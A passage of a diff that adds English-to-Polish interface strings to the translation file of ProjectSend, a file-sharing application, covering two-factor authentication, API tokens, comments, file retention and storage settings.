settings for this installation": "Ustawienia wiadomości transakcyjnych tej instalacji", + "Transfers — last 30 days": "Transfery — ostatnie 30 dni", + "Translate": "Przetłumacz", + "Translate It": "Przetłumacz to", + "Turns all transactional email for this installation on or off.": "Włącza lub wyłącza wszystkie wiadomości transakcyjne tej instalacji.", + "Two-factor auth": "Uwierzytelnianie 2FA", + "Two-factor authentication": "Uwierzytelnianie dwuskładnikowe", + "Two-factor authentication is enabled.": "Uwierzytelnianie dwuskładnikowe jest włączone.", + "Two-factor authentication was disabled": "Wyłączono uwierzytelnianie dwuskładnikowe", + "Two-factor authentication was enabled": "Włączono uwierzytelnianie dwuskładnikowe", + "Two-factor recovery codes were regenerated": "Wygenerowano nowe kody odzyskiwania dwuskładnikowego", + "Type": "Typ", + "Unauthorized": "Nieautoryzowany Dostęp", + "Unavailable For Legal Reasons": "Zablokowane z przyczyn prawnych", + "Unchanged": "Bez zmian", + "Unknown Error": "Nieznany błąd", + "Unlimited": "Bez limitu", + "Unpack": "Rozpakuj", + "Unprocessable Entity": "Nieprzetwarzalny zasób", + "Unsubscribe": "Wypisz się", + "Unsupported Media Type": "Nieobsługiwany typ nośnika", + "Up": "W górę", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Do :max MB na plik. Przesyłanie można wstrzymać, a po przerwie wznawia się automatycznie.", + "Update": "Aktualizacja", + "Update :name": "Aktualizuj :name", + "Updated the account \":subject\"": "Zaktualizował(a) konto \":subject\"", + "Updated the file \":subject\"": "Zaktualizował(a) plik \":subject\"", + "Updated the group \":subject\"": "Zaktualizował(a) grupę \":subject\"", + "Updated the role \":subject\"": "Zaktualizował(a) rolę \":subject\"", + "Updated the system settings (:section)": "Zaktualizował(a) ustawienia systemu (:section)", + "Updated their profile information": "Zaktualizował(a) dane swojego profilu", + "Upgrade Required": "Wymagana aktualizacja", + "Upload": "Prześlij", + "Upload a file": "Prześlij plik", + "Upload files": "Przesyłanie plików", + "Upload public files": "Przesyłanie plików publicznych", + "Upload settings": "Ustawienia przesyłania", + "Upload to public folders": "Przesyłanie do folderów publicznych", + "Uploaded by": "Przesłane przez", + "Uploaded the file \":subject\"": "Przesłał(a) plik \":subject\"", + "Uploader": "Osoba przesyłająca", + "Uploads": "Przesłane pliki", + "Uploads (chart)": "Przesłane pliki (wykres)", + "URI Too Long": "Zbyt długi identyfikator URI", + "URL slug": "Identyfikator URL", + "Use a custom link instead of a random one": "Użyj własnego linku zamiast losowego", + "Use a recovery code": "Użyj kodu odzyskiwania", + "Use an authentication code": "Użyj kodu uwierzytelniającego", + "Use Proxy": "Użyj serwera proxy", + "Use the navigation to get started.": "Skorzystaj z nawigacji, aby zacząć.", + "Used": "Wykorzystano", + "Used in the public file URL when this file is public.": "Używany w publicznym adresie URL pliku, gdy jest on publiczny.", + "Used in the public group URL when this group is public.": "Używany w publicznym adresie URL grupy, gdy jest ona publiczna.", + "User": "Użytkownik", + "User created.": "Utworzono użytkownika.", + "User deleted.": "Usunięto użytkownika.", + "User updated.": "Zaktualizowano użytkownika.", + "Users": "Użytkownicy", + "Username": "Nazwa użytkownika", + "Variant Also Negotiates": "Wariant również prowadzi negocjacje", + "Verify Email Address": "Zweryfikuj Adres E-mail", + "Version": "Wersja", + "Version :version": "Wersja :version", + "View": "Widok", + "View :name": "Zobacz :name", + "View all": "Pokaż wszystko", + "View dashboard counters": "Podgląd liczników pulpitu", + "View file": "Pokaż plik", + "View news": "Podgląd aktualności", + "View statistics": "Podgląd statystyk", + "View system information": "Podgląd informacji o systemie", + "Visible widgets": "Widoczne widżety", + "View the activity log": "Podgląd dziennika aktywności", + "View your files": "Podgląd własnych plików", + "Visibility": "Widoczność", + "Visitors": "Odwiedzający", + "Warning": "Ostrzeżenie", + "Web Server is Down": "Serwer sieciowy nie działa", + "Website": "Strona internetowa", + "Welcome": "Witaj", + "Welcome to ProjectSend": "Witamy w ProjectSend", + "What each kind of account is allowed to do": "Co może robić każdy rodzaj konta", + "When an account is erased, its files and folders": "Gdy konto zostaje usunięte, jego pliki i foldery", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Gdy jest włączone, przy logowaniu poprosimy Cię o bezpieczny kod z telefonu.", + "When off, self-registered clients wait in the account requests queue until approved.": "Gdy jest wyłączone, klienci rejestrujący się sami czekają na zatwierdzenie w kolejce wniosków o konto.", + "Where outgoing email is actually sent from.": "Adres, z którego naprawdę wychodzi poczta.", + "Whoops!": "Ups!", + "Widgets": "Widżety", + "Worth including when you report a problem.": "Warto to dołączyć, zgłaszając problem.", + "Written by": "Napisane przez", + "Yellow": "Żółty", + "Yes": "Tak", + "You are commenting too quickly. Try again in a moment.": "Komentujesz zbyt szybko. Spróbuj ponownie za chwilę.", + "You are commenting too quickly. Try again in :seconds seconds.": "Komentujesz zbyt szybko. Spróbuj ponownie za :seconds s.", + "You are not a member of any group yet.": "Nie należysz jeszcze do żadnej grupy.", + "You are receiving this email because we received a password reset request for your account.": "Otrzymujesz ten e-mail, ponieważ otrzymaliśmy prośbę o zresetowanie hasła dla Twojego konta.", + "You can only share with the clients assigned to you.": "Możesz udostępniać tylko przypisanym Ci klientom.", + "You cannot comment on this file.": "Nie możesz komentować tego pliku.", + "You cannot deactivate your own account.": "Nie możesz dezaktywować własnego konta.", + "You cannot delete your own account.": "Nie możesz usunąć własnego konta.", + "You have no notifications yet.": "Nie masz jeszcze powiadomień.", + "You will no longer receive files shared with the group \":name\".": "Nie będziesz już otrzymywać plików udostępnianych grupie \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Dane Twojego konta zostały niedawno zmienione przez administratora. Skontaktuj się z administratorem, jeśli się tego nie spodziewałeś.", + "Your account has been approved": "Twoje konto zostało zatwierdzone", + "Your account has been created. You can log in now.": "Twoje konto zostało utworzone. Możesz się już zalogować.", + "Your account has been deactivated.": "Twoje konto zostało dezaktywowane.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Twoje konto zostaje dezaktywowane natychmiast. Po :days dniach jest trwale wymazywane, łącznie z danymi identyfikującymi Cię w dzienniku aktywności — tej operacji nie można cofnąć.", + "Your account request has been approved. You can now log in.": "Twój wniosek o konto został zatwierdzony. Możesz się już zalogować.", + "Your account request has been denied.": "Twój wniosek o konto został odrzucony.", + "Your account request has been received. You will be able to log in once it is approved.": "Otrzymaliśmy Twój wniosek o konto. Będziesz mógł się zalogować, gdy zostanie zatwierdzony.", + "Your account request has not been approved yet.": "Twój wniosek o konto nie został jeszcze zatwierdzony.", + "Your account request was denied": "Twój wniosek o konto został odrzucony", + "Your account was updated": "Twoje konto zostało zaktualizowane", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Twoje konto zostanie teraz dezaktywowane, a po :days dniach trwale wymazane. Wpisz hasło, aby potwierdzić.", + "Your account will no longer require a second code at login, making it less secure.": "Twoje konto nie będzie już wymagać drugiego kodu przy logowaniu, przez co będzie mniej bezpieczne.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Twój administrator wymaga uwierzytelniania dwuskładnikowego na tym koncie. Skonfiguruj je poniżej, aby kontynuować.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Twój własny temat i treść zostaną natychmiast odrzucone i zastąpione domyślnym tekstem — tej operacji nie można cofnąć.", + "Your download should start automatically.": "Pobieranie powinno rozpocząć się automatycznie.", + "Your existing recovery codes will stop working immediately.": "Twoje dotychczasowe kody odzyskiwania natychmiast przestaną działać.", + "Your group membership request was approved": "Twój wniosek o członkostwo w grupie został zatwierdzony", + "Your group membership request was denied": "Twój wniosek o członkostwo w grupie został odrzucony", + "Your groups": "Twoje grupy", + "Your previous request to this group was declined. You can request again later.": "Twój poprzedni wniosek do tej grupy został odrzucony. Możesz spróbować ponownie później.", + "Your request to join the group \":group\" has been approved.": "Twój wniosek o dołączenie do grupy \":group\" został zatwierdzony.", + "Your request to join the group \":group\" has been denied.": "Twój wniosek o dołączenie do grupy \":group\" został odrzucony.", + "Your request to join the group \":groupName\" has been approved": "Twój wniosek o dołączenie do grupy \":groupName\" został zatwierdzony", + "Your shared file library": "Twoja biblioteka udostępnionych plików", + "API tokens": "Tokeny API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Tokeny pozwalają zewnętrznemu narzędziu działać w Twoim imieniu przez API, wyłącznie z uprawnieniami, które mu tutaj przyznasz.", + "Token name": "Nazwa tokena", + "e.g. Zapier": "np. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Nazwij go od narzędzia, które go użyje, żebyś później wiedział, co unieważniasz.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Token nigdy nie zrobi więcej niż Ty. Przyznaj tylko to, czego narzędzie potrzebuje — jeśli zmienią się Twoje uprawnienia, token pójdzie za nimi.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Wymieniono tylko uprawnienia, na które API już reaguje. Kolejne pojawią się tu wraz z nowymi punktami końcowymi.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Nie masz jeszcze czego przyznać tokenowi — żaden z dotychczas wydanych punktów końcowych API nie odpowiada Twoim uprawnieniom.", + "Select all": "Zaznacz wszystko", + "Clear all": "Odznacz wszystko", + "Expires in (days)": "Wygasa za (dni)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Token bez daty wygaśnięcia pozostaje ważny, dopóki ktoś go ręcznie nie unieważni. Lepiej wybrać datę, o której możesz spokojnie zapomnieć.", + "Create token": "Utwórz token", + "Copy your token now": "Skopiuj teraz swój token", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "To jedyny raz, kiedy go pokazujemy. Przechowujemy tylko skrót, więc później nie da się go odzyskać.", + "Copy to clipboard": "Kopiuj do schowka", + "Copied": "Skopiowano", + "Your tokens": "Twoje tokeny", + "Revoking a token takes effect immediately.": "Unieważnienie tokena działa natychmiast.", + "You have not created any tokens yet.": "Nie utworzyłeś jeszcze żadnych tokenów.", + "Expired": "Wygasł", + "Never used": "Nigdy nieużywany", + "Last used :date": "Ostatnio użyty :date", + "Revoke this token?": "Unieważnić ten token?", + "Any tool using it will stop working immediately. This cannot be undone.": "Każde narzędzie, które go używa, natychmiast przestanie działać. Tej operacji nie można cofnąć.", + "This file type is not allowed for upload.": "Tego typu pliku nie można przesyłać.", + "View the client list": "Podgląd listy klientów", + "View the group list": "Podgląd listy grup", + "Origin": "Źródło", + "All origins": "Wszystkie źródła", + "Web UI": "Interfejs webowy", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Edytuj token", + "Save token": "Zapisz token", + "The token is shown once, immediately after it is created, and never again.": "Token pokazujemy raz, zaraz po utworzeniu, i nigdy więcej.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Sam token się nie zmienia. Wszystko, co już go używa, działa dalej z tym, co tutaj ustawisz.", + "Changing permissions takes effect immediately": "Zmiany uprawnień działają natychmiast", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Istniejący token zachowuje swoją wartość, więc to, co go posiada, od razu zyskuje lub traci te uprawnienia. Jeśli chcesz nowy sekret, unieważnij go i utwórz nowy.", + "Some permissions no longer apply": "Część uprawnień już nie obowiązuje", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Ten token nadal niesie uprawnienia, które dziś nic nie robią; przy zapisie zostaną usunięte: :abilities", + "Token updated.": "Zaktualizowano token.", + "How external tools can act on this installation on your behalf.": "Jak zewnętrzne narzędzia mogą działać w Twoim imieniu w tej instalacji.", + "OpenAPI specification": "Specyfikacja OpenAPI", + "Endpoints": "Punkty końcowe", + "Method": "Metoda", + "Tokens": "Tokeny", + "Your tokens and what they have been doing.": "Twoje tokeny i to, co robiły.", + "Every token on this installation and what it has been doing.": "Każdy token w tej instalacji i to, co robił.", + "Show all tokens": "Pokaż wszystkie tokeny", + "Show only mine": "Pokaż tylko moje", + "Manage tokens": "Zarządzaj tokenami", + "Requests (7 days)": "Żądania (7 dni)", + "Failed (7 days)": "Nieudane (7 dni)", + "Median response": "Mediana czasu odpowiedzi", + "No requests yet": "Brak żądań", + ":count expired": "Wygasłe: :count", + "Requests": "Żądania", + "Succeeded": "Udane", + "Failed": "Nieudane", + "Request history is kept for :days days.": "Historia żądań jest przechowywana przez :days dni.", + "Request history is kept indefinitely.": "Historia żądań jest przechowywana bezterminowo.", + "No tokens yet.": "Nie ma jeszcze tokenów.", + "Owner": "Właściciel", + "Last used": "Ostatnio użyty", + "History": "Historia", + "Busiest endpoints": "Najbardziej obciążone punkty końcowe", + "No requests in the last 7 days.": "Brak żądań w ciągu ostatnich 7 dni.", + "Recent changes made through the API": "Ostatnie zmiany wprowadzone przez API", + "Full history": "Pełna historia", + "Nothing has been changed through the API yet.": "Przez API nie zmieniono jeszcze niczego.", + "API usage": "Wykorzystanie API", + "Open the API dashboard": "Otwórz pulpit API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Nie masz tokenów API. Utwórz jeden, aby zewnętrzne narzędzie mogło działać w Twoim imieniu.", + "API request history (days)": "Historia żądań API (dni)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Jak długo pulpit API przechowuje zapis każdego żądania. To historia użycia, a nie dziennik aktywności — dziennik jest śladem audytowym i nigdy nie jest czyszczony. Ustaw 0, aby przechowywać bezterminowo.", + "A category was created": "Utworzono kategorię", + "A category was deleted": "Usunięto kategorię", + "A category was renamed": "Zmieniono nazwę kategorii", + "A comment was approved": "Zatwierdzono komentarz", + "A comment was deleted": "Usunięto komentarz", + "A comment was edited": "Zmieniono komentarz", + "A comment was posted on a file": "Dodano komentarz do pliku", + "A custom asset was created": "Utworzono własny zasób", + "A custom asset was deleted": "Usunięto własny zasób", + "A custom asset was disabled": "Wyłączono własny zasób", + "A custom asset was enabled": "Włączono własny zasób", + "A custom asset was updated": "Zaktualizowano własny zasób", + "A custom field was created": "Utworzono pole niestandardowe", + "A custom field was deleted": "Usunięto pole niestandardowe", + "A custom field was updated": "Zaktualizowano pole niestandardowe", + "A deleted account's files and folders were deleted": "Usunięto pliki i foldery usuniętego konta", + "A deleted account's files and folders were reassigned": "Przypisano na nowo pliki i foldery usuniętego konta", + "A file was made private": "Ustawiono plik jako prywatny", + "A file was made public": "Ustawiono plik jako publiczny", + "A file was previewed": "Wyświetlono podgląd pliku", + "A folder was made private": "Ustawiono folder jako prywatny", + "A folder was made public": "Ustawiono folder jako publiczny", + "A group was made private": "Ustawiono grupę jako prywatną", + "A group was made public": "Ustawiono grupę jako publiczną", + "An API token was created": "Utworzono token API", + "An API token was revoked": "Unieważniono token API", + "An API token was updated": "Zaktualizowano token API", + "An expired file was automatically deleted after its retention grace period passed": "Wygasły plik został automatycznie usunięty po upływie okresu karencji", + "An orphan file was automatically deleted after its retention grace period passed": "Osierocony plik został automatycznie usunięty po upływie okresu karencji", + "An upload was cancelled": "Anulowano przesyłanie", + "Approved a comment on the file \":subject\"": "Zatwierdził(a) komentarz do pliku \":subject\"", + "Cancelled uploading the file \":name\"": "Anulował(a) przesyłanie pliku \":name\"", + "Commented on the file \":subject\"": "Skomentował(a) plik \":subject\"", + "Created the API token \":token_name\"": "Utworzył(a) token API \":token_name\"", + "Created the category \":subject\"": "Utworzył(a) kategorię \":subject\"", + "Created the custom asset \":subject\"": "Utworzył(a) własny zasób \":subject\"", + "Created the custom field \":name\"": "Utworzył(a) pole niestandardowe \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Usunął(-ęła) :files plik(ów) i :folders folder(ów) należących do usuniętego konta \":name\"", + "Deleted a comment on the file \":subject\"": "Usunął(-ęła) komentarz do pliku \":subject\"", + "Deleted the category \":name\"": "Usunął(-ęła) kategorię \":name\"", + "Deleted the custom asset \":name\"": "Usunął(-ęła) własny zasób \":name\"", + "Deleted the custom field \":name\"": "Usunął(-ęła) pole niestandardowe \":name\"", + "Deleted the expired file \":name\"": "Usunął(-ęła) wygasły plik \":name\"", + "Disabled the custom asset \":subject\"": "Wyłączył(a) własny zasób \":subject\"", + "Edited a comment on the file \":subject\"": "Zmienił(a) komentarz do pliku \":subject\"", + "Enabled the custom asset \":subject\"": "Włączył(a) własny zasób \":subject\"", + "Made the file \":subject\" private": "Ustawił(a) plik \":subject\" jako prywatny", + "Made the file \":subject\" public": "Ustawił(a) plik \":subject\" jako publiczny", + "Made the folder \":subject\" private": "Ustawił(a) folder \":subject\" jako prywatny", + "Made the folder \":subject\" public": "Ustawił(a) folder \":subject\" jako publiczny", + "Made the group \":subject\" private": "Ustawił(a) grupę \":subject\" jako prywatną", + "Made the group \":subject\" public": "Ustawił(a) grupę \":subject\" jako publiczną", + "Previewed the file \":subject\"": "Wyświetlił(a) podgląd pliku \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Przypisał(a) :files plik(ów) i :folders folder(ów) z usuniętego konta \":name\" do :target", + "Renamed the category to \":subject\"": "Zmienił(a) nazwę kategorii na \":subject\"", + "Revoked the API token \":token_name\"": "Unieważnił(a) token API \":token_name\"", + "Updated the API token \":token_name\"": "Zaktualizował(a) token API \":token_name\"", + "Updated the custom asset \":subject\"": "Zaktualizował(a) własny zasób \":subject\"", + "Updated the custom field \":name\"": "Zaktualizował(a) pole niestandardowe \":name\"", + "Manage client custom fields": "Zarządzanie polami niestandardowymi klientów", + "Moderate comments": "Moderowanie komentarzy", + "Only me": "Tylko ja", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Widoczne dla każdego, kto może otworzyć ten plik, także dla niezalogowanych odwiedzających.", + "Anyone, including visitors who are not logged in": "Każdy, także niezalogowani odwiedzający", + "Staff and clients": "Zespół i klienci", + "Staff only": "Tylko zespół", + "No files — commenting is off": "Brak plików — komentowanie jest wyłączone", + "Only files marked as commentable": "Tylko pliki otwarte na komentarze", + "Public files only": "Tylko pliki publiczne", + "Shared files only": "Tylko pliki udostępnione", + "(blank = inheriting the site default)": "(puste = dziedziczy domyślną wartość witryny)", + "(blank = unlimited, no site default is set)": "(puste = bez limitu, nie ustawiono domyślnej wartości witryny)", + "(deleted file)": "(usunięty plik)", + ":authorName commented on \":fileName\"": ":authorName skomentował(a) \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName skomentował(a) \":fileName\" i czeka na zatwierdzenie", + ":count comments": "Komentarze: :count", + ":count file updated.|:count files updated.": "Zaktualizowano :count plik.|Zaktualizowano :count plików.", + ":count waiting for approval": "Oczekujących na zatwierdzenie: :count", + ":guest commented on the file \":subject\"": ":guest skomentował(a) plik \":subject\"", + ":name — files": ":name — pliki", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Zaktualizowano :updated z :requested zaznaczonych plików. Resztę pominięto, bo nie masz uprawnień do ich edycji.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Wyrazisty nagłówek zbudowany wokół Twojego logo — w parze ze stylem Gallery daje dopracowaną, spójną z marką skrzynkę odbiorczą.", + "Access": "Dostęp", + "Access key": "Klucz dostępu", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Konta objęte tym ustawieniem mogą przesyłać wyłącznie pliki, których rozszerzenie znajduje się na poniższej liście dozwolonych.", + "A clean, neutral layout that works well for any kind of file sharing.": "Czysty, neutralny układ, który sprawdza się przy każdym rodzaju udostępniania plików.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Komentarz osoby niezalogowanej pozostaje ukryty, dopóki moderator go nie zatwierdzi.", + "A comment is waiting for approval": "Komentarz czeka na zatwierdzenie", + "Activity history for :name": "Historia aktywności: :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Codzienne zadanie trwale usuwa pliki po upływie daty wygaśnięcia i poniższego okresu karencji.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Codzienne zadanie trwale usuwa lokalne osierocone pliki starsze niż poniższy okres karencji.", + "Add categories": "Dodawanie kategorii", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Dodaje opcję „Wszyscy” przy komentowaniu pliku widocznego publicznie. Bez tego komentarze docierają wyłącznie do osób zalogowanych.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Gęsta lista w stylu arkusza kalkulacyjnego, która mieści więcej plików na ekranie — najlepsza przy dużych zbiorach i częstym przesyłaniu.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Siatka zdjęć na pełnej szerokości stworzona do wizualnego przeglądania — najlepszy wybór dla fotografów i zbiorów pełnych obrazów.", + "Allow clients to add files to this folder from their portal.": "Pozwól klientom dodawać pliki do tego folderu z ich portalu.", + "Allow comments on this file": "Zezwól na komentarze do tego pliku", + "Allowed file extensions": "Dozwolone rozszerzenia plików", + "Allow public comments": "Zezwól na komentarze publiczne", + "and :count more": "i :count więcej", + "Anonymous": "Anonimowy", + "Anonymous downloads": "Pobrania anonimowe", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Dotyczy każdego klienta bez własnego limitu, także tych rejestrujących się samodzielnie. Ustaw 0, aby nie było wartości domyślnej (bez limitu, chyba że klient ma własny).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Strona grupy publicznej jest zawsze dostępna pod własnym linkiem, gdy oznaczysz ją jako publiczną — ta strona steruje wyłącznie adresem bazowym oraz opcjonalnym katalogiem, który pokazuje naraz wszystkie publiczne grupy i pliki.", + "A reset link will be sent if the account exists.": "Jeśli konto istnieje, wyślemy link do zresetowania hasła.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Przestronny, kolorowy układ inspirowany aplikacjami chmurowymi, z czytelnymi ikonami typów plików i sporą ilością wolnej przestrzeni.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Oszczędny, stonowany projekt bez zbędnych ozdobników — w parze ze stylem Compact.", + "Auto approve new accounts": "Automatycznie zatwierdzaj nowe konta", + "Automatically delete expired files": "Automatycznie usuwaj wygasłe pliki", + "Automatically delete orphan files": "Automatycznie usuwaj osierocone pliki", + "A visitor commented on a file": "Odwiedzający skomentował plik", + "Awaiting approval": "Oczekuje na zatwierdzenie", + "Back": "Wstecz", + "Be careful when changing this list — it can affect the security of this installation.": "Zmieniaj tę listę ostrożnie — może to wpłynąć na bezpieczeństwo tej instalacji.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Puste = dziedziczy domyślną wartość witryny (obecnie :default MB). Wpisz wartość, aby nadać temu klientowi własny limit.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Puste = bez limitu (nie ustawiono domyślnej wartości witryny). Wpisz wartość, aby nadać temu klientowi własny limit.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Niebieskie akcenty i czysta struktura inspirowane aplikacjami chmurowymi — w parze ze stylem Drive.", + "Branding": "Identyfikacja wizualna", + "Bucket": "Bucket", + "Bulk edit :count files": "Edycja zbiorcza plików (:count)", + "by": "autor:", + "Change at least one field before applying a bulk edit.": "Zmień co najmniej jedno pole przed zastosowaniem edycji zbiorczej.", + "Check for updates": "Sprawdź aktualizacje", + "Client access": "Dostęp klientów", + "Client downloads": "Pobrania klientów", + "Clients can register themselves": "Klienci mogą rejestrować się sami", + "Clients only": "Tylko klienci", + "Comment approved.": "Zatwierdzono komentarz.", + "Comment deleted.": "Usunięto komentarz.", + "Comments": "Komentarze", + "Comments are closed on this file.": "Komentowanie tego pliku jest zamknięte.", + "Comments already written stay readable even if a file stops accepting new ones.": "Napisane już komentarze pozostają czytelne, nawet gdy plik przestaje przyjmować nowe.", + "Comments awaiting approval": "Komentarze oczekujące na zatwierdzenie", + "Comment settings": "Ustawienia komentarzy", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Komentarze zostawione przez niezalogowanych odwiedzających. Nikt ich nie zobaczy, dopóki ich nie zatwierdzisz.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Podłącz zewnętrzny bucket zgodny z S3 (AWS S3, MinIO lub inną usługę zgodną z S3) jako magazyn dla nowych przesyłanych plików.", + "Custom endpoint": "Własny punkt końcowy", + "Custom field created.": "Utworzono pole niestandardowe.", + "Custom field deleted.": "Usunięto pole niestandardowe.", + "Custom field updated.": "Zaktualizowano pole niestandardowe.", + "Custom range": "Własny zakres", + "Default storage quota (MB)": "Domyślny limit miejsca (MB)", + "Delete account?": "Usunąć konto?", + "Delete failed job?": "Usunąć nieudane zadanie?", + "Delete them permanently": "Usuń je trwale", + "Delete this comment?": "Usunąć ten komentarz?", + "Delete this many days after being found": "Usuń po tylu dniach od znalezienia", + "Delete this many days after expiry": "Usuń po tylu dniach od wygaśnięcia", + "Download :name": "Pobierz :name", + "Downloaded by": "Pobrane przez", + "Download history": "Historia pobrań", + "Download history for :name": "Historia pobrań: :name", + "Duration": "Czas trwania", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Każdy plik ma na stronie edycji przełącznik „Zezwól na komentarze do tego pliku”. Tylko pliki z włączonym przełącznikiem przyjmują komentarze.", + "edited": "zmieniono", + "Editing window (minutes)": "Okno edycji (minuty)", + "Email settings saved.": "Zapisano ustawienia e-mail.", + "Error": "Błąd", + "Every download, newest first": "Każde pobranie, od najnowszych", + "Every download across the installation, newest first": "Każde pobranie w całej instalacji, od najnowszych", + "Every recorded action, newest first": "Każde zarejestrowane działanie, od najnowszych", + "Expiration": "Wygaśnięcie", + "Expired :date": "Wygasł :date", + "Expired only": "Tylko wygasłe", + "Extension, e.g. pdf": "Rozszerzenie, np. pdf", + "Failed at": "Niepowodzenie o", + "Failed job deleted.": "Usunięto nieudane zadanie.", + "Failed jobs": "Nieudane zadania", + "Failed to connect: :error": "Nie udało się połączyć: :error", + "File retention": "Przechowywanie plików", + "File retention settings": "Ustawienia przechowywania plików", + "Files accessible to :name": "Pliki dostępne dla :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Pliki leżące na dysku bez odpowiadającego im wpisu — przerwane przesyłanie, przywracanie kopii, ręczna ingerencja w system plików", + "Files that accept comments": "Pliki przyjmujące komentarze", + "Filters": "Filtry", + "Folder renamed.": "Zmieniono nazwę folderu.", + "Folders": "Foldery", + "Grid view": "Widok siatki", + "Hold comments from visitors for approval": "Wstrzymuj komentarze odwiedzających do zatwierdzenia", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Jak długo po opublikowaniu można jeszcze edytować lub usunąć własny komentarz. Ustaw 0, aby nigdy na to nie pozwalać.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Jak długo wygasły plik jest przechowywany przed trwałym usunięciem. 0 usuwa go tego samego dnia, w którym wygasa.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Jak długo osierocony plik jest przechowywany przed trwałym usunięciem. 0 usuwa go tego samego dnia, w którym zostanie znaleziony.", + "IP address": "Adres IP", + "Job queued for retry.": "Zadanie wróciło do kolejki, aby spróbować ponownie.", + "Language: :language": "Język: :language", + "Last month": "Poprzedni miesiąc", + "Last ran": "Ostatnie uruchomienie", + "Last week": "Poprzedni tydzień", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Zostaw puste dla AWS S3. Wypełnij, aby użyć usługi zgodnej z S3, takiej jak MinIO czy Backblaze.", + "Leave empty for a file that never expires.": "Zostaw puste, aby plik nigdy nie wygasał.", + "Limit file types uploading to": "Ogranicz typy przesyłanych plików dla", + "List view": "Widok listy", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Ustaw ten folder jako publiczny. Każdy plik w środku — teraz i później, na dowolnym poziomie — także stanie się publiczny.", + "Message": "Wiadomość", + "Moving": "Przenoszenie", + "Never run": "Nigdy nieuruchomione", + "Next cleanup :date": "Następne czyszczenie :date", + "No accounts match \":search\".": "Żadne konto nie pasuje do \":search\".", + "Nobody (no restriction)": "Nikt (bez ograniczeń)", + "No comments yet.": "Nie ma jeszcze komentarzy.", + "No expired files.": "Brak wygasłych plików.", + "No extensions added yet.": "Nie dodano jeszcze żadnych rozszerzeń.", + "No failed jobs.": "Brak nieudanych zadań.", + "No files match these filters.": "Żaden plik nie pasuje do tych filtrów.", + "None of the selected files could be edited.": "Nie udało się edytować żadnego z zaznaczonych plików.", + "Nothing is waiting for approval.": "Nic nie czeka na zatwierdzenie.", + "of :count": "z :count", + "of :quota": "z :quota", + "on": "dnia", + "Only the fields you change here are applied — everything else is left as-is.": "Stosowane są tylko pola, które tutaj zmienisz — reszta pozostaje bez zmian.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Dotyczy to tylko plików przesłanych po włączeniu tego magazynu. Pliki już zapisane lokalnie tam zostają i działają dalej — nie ma migracji między magazynami.", + "Open public page": "Otwórz stronę publiczną", + "Optional. Confines uploads to a subfolder within the bucket.": "Opcjonalnie. Ogranicza przesyłane pliki do podfolderu w buckecie.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Automatyczne usuwanie osieroconych plików działa wyłącznie na magazynie lokalnym, więc pozostaje wyłączone, dopóki aktywny jest magazyn zewnętrzny — nawet jeśli wcześniej było włączone.", + "Orphan files": "Osierocone pliki", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "W kontach chmurowych poczta wychodząca idzie 